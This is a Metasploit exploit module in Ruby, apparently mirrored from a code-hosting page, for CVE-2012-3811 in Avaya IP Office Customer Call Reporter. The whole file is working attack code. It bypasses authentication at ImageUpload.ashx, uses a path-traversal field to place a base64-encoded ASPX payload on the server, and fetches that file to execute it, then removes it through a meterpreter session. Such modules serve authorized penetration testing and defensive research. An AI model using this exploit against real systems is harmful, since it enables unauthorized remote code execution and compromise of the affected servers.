Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'uri'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::EXE1213def initialize14super(15'Name' => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',16'Description' => %q{17This module exploits an authentication bypass vulnerability on Avaya IP Office18Customer Call Reporter, which allows a remote user to upload arbitrary files19through the ImageUpload.ashx component. It can be abused to upload and execute20arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP21Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.22},23'Author' =>24[25'rgod <rgod[at]autistici.org>', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'Platform' => 'win',29'References' =>30[31[ 'CVE', '2012-3811' ],32[ 'OSVDB', '83399' ],33[ 'BID', '54225' ],34[ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],35[ 'ZDI', '12-106' ]36],37'Targets' =>38[39[ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],40],41'DefaultTarget' => 0,42'Privileged' => false,43'DisclosureDate' => 'Jun 28 2012'44)4546register_options(47[48OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])49])5051self.needs_cleanup = true52end5354#55# Remove the .aspx if we get a meterpreter.56#57def on_new_session(cli)58if cli.type != 'meterpreter'59print_error("Meterpreter not used. Please manually remove #{@payload_path}")60return61end6263cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")6465begin66print_warning("Removing #{@payload_path}")67cli.fs.file.rm(@payload_path)68print_good("#{@payload_path} deleted")69rescue ::Exception => e70print_error("Unable to delete #{@payload_path}: #{e.message}")71end72end737475def exploit76# Generate the ASPX containing the EXE containing the payload77exe = generate_payload_exe78aspx = Msf::Util::EXE.to_exe_aspx(exe)79aspx_b64 = Rex::Text.encode_base64(aspx)8081uri_path = target_uri.path82uri_path.path << "/" if uri_path[-1, 1] != "/"8384boundary = "---------------------------#{rand_text_alpha(36)}"8586my_data = "--#{boundary}\r\n"87my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"88my_data << "\r\n"89my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"90my_data << "--#{boundary}\r\n"91my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"92my_data << "\r\n"93my_data << "#{aspx_b64}\r\n"94my_data << "--#{boundary}\r\n"95my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"96my_data << "\r\n"97my_data << "../../CCRWallboardMessageBroker/\r\n"98my_data << "--#{boundary}\r\n"99my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"100my_data << "\r\n"101my_data << "0\r\n"102my_data << "--#{boundary}\r\n"103my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"104my_data << "\r\n"105my_data << "\r\n"106my_data << "--#{boundary}\r\n"107my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"108my_data << "\r\n"109my_data << "True\r\n"110my_data << "--#{boundary}\r\n"111my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"112my_data << "\r\n"113my_data << "True\r\n"114my_data << "--#{boundary}\r\n"115my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"116my_data << "\r\n"117my_data << "0\r\n"118my_data << "--#{boundary}\r\n"119my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"120my_data << "\r\n"121my_data << "0\r\n"122my_data << "--#{boundary}--\r\n"123124#125# UPLOAD126#127attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"128print_status("Uploading #{aspx_b64.length} bytes through #{attack_url}...")129130res = send_request_cgi({131'uri' => attack_url,132'method' => 'POST',133'ctype' => "multipart/form-data; boundary=#{boundary}",134'data' => my_data,135}, 20)136137payload_url = ""138@payload_path = ""139if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/140print_good("Payload uploaded successfully")141else142print_error("Payload upload failed")143return144end145146# Retrieve info about the uploaded payload147148if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/149@payload_path = $1150print_status("Payload stored on #{@payload_path}")151else152print_error("The payload file path couldn't be retrieved")153end154155if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/156payload_url = URI($1).path157else158print_error("The payload URI couldn't be retrieved... Aborting!")159return160end161162163#164# EXECUTE165#166print_status("Executing #{payload_url}...")167168res = send_request_cgi({169'uri' => payload_url,170'method' => 'GET'171}, 20)172173if (!res or (res and res.code != 200))174print_error("Execution failed on #{payload_url} [No Response]")175return176end177178end179end180181182